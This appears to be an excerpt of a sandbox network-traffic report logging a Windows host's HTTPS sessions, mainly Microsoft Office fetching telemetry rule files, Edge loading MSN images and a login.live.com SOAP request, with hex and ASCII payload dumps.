2024-11-11 20:59:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: c08ebcd4-401e-0064-18d5-3354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205930Z-174f7845968nxc96hC1EWRspw8000000056g00000000d01b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:30 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	58861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 1815edcd-001e-0028-0ed5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205930Z-174f7845968j6t2phC1EWRcfe800000005kg00000000hkw8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	58863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 1c14dce3-c01e-0079-04d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205930Z-174f7845968l4kp6hC1EWRe88400000005sg000000007e12 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	58862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 1c14dccd-c01e-0079-70d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205930Z-174f7845968vqt9xhC1EWRgten00000005kg000000004uy0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	58864	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:30 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=325173 Expires: Fri, 15 Nov 2024 15:19:03 GMT Date: Mon, 11 Nov 2024 20:59:30 GMT Connection: close
2024-11-11 20:59:30 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	58865	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 20:59:31 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 20:59:31 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 20:58:31 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C515_SN1 x-ms-request-id: c4c1ba04-7698-4bb2-90df-fdd5c6b4abad PPServer: PPV: 30 H: SN1PEPF0003F95A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 20:59:30 GMT Connection: close Content-Length: 11391
2024-11-11 20:59:31 UTC	11391	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	58871	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:31 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:31 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 09 Nov 2024 13:52:58 GMT X-Datacenter: eastus X-ActivityId: 98e969a8-4f49-4d93-9fd2-e52de745d7b3 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=233648 Expires: Thu, 14 Nov 2024 13:53:39 GMT Date: Mon, 11 Nov 2024 20:59:31 GMT Connection: close
2024-11-11 20:59:31 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	58869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:31 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:31 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 55c09f61-d01e-0082-16d5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205931Z-174f7845968px8v7hC1EWR08ng00000005ng00000000p4dx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	58867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:31 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:31 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 5ac3f5ac-801e-008f-14d5-332c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205931Z-174f78459685726chC1EWRsnbg00000005g000000000f712 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:31 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	58868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:31 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:31 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 3ca8c4c6-201e-0096-0fd5-33ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205931Z-174f78459685m244hC1EWRgp2c000000055g00000000waaf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:31 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	58870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:31 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:31 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:31 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 1c14ddc0-c01e-0079-51d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205931Z-174f7845968xlwnmhC1EWR0sv8000000059g00000000dcpf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:31 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 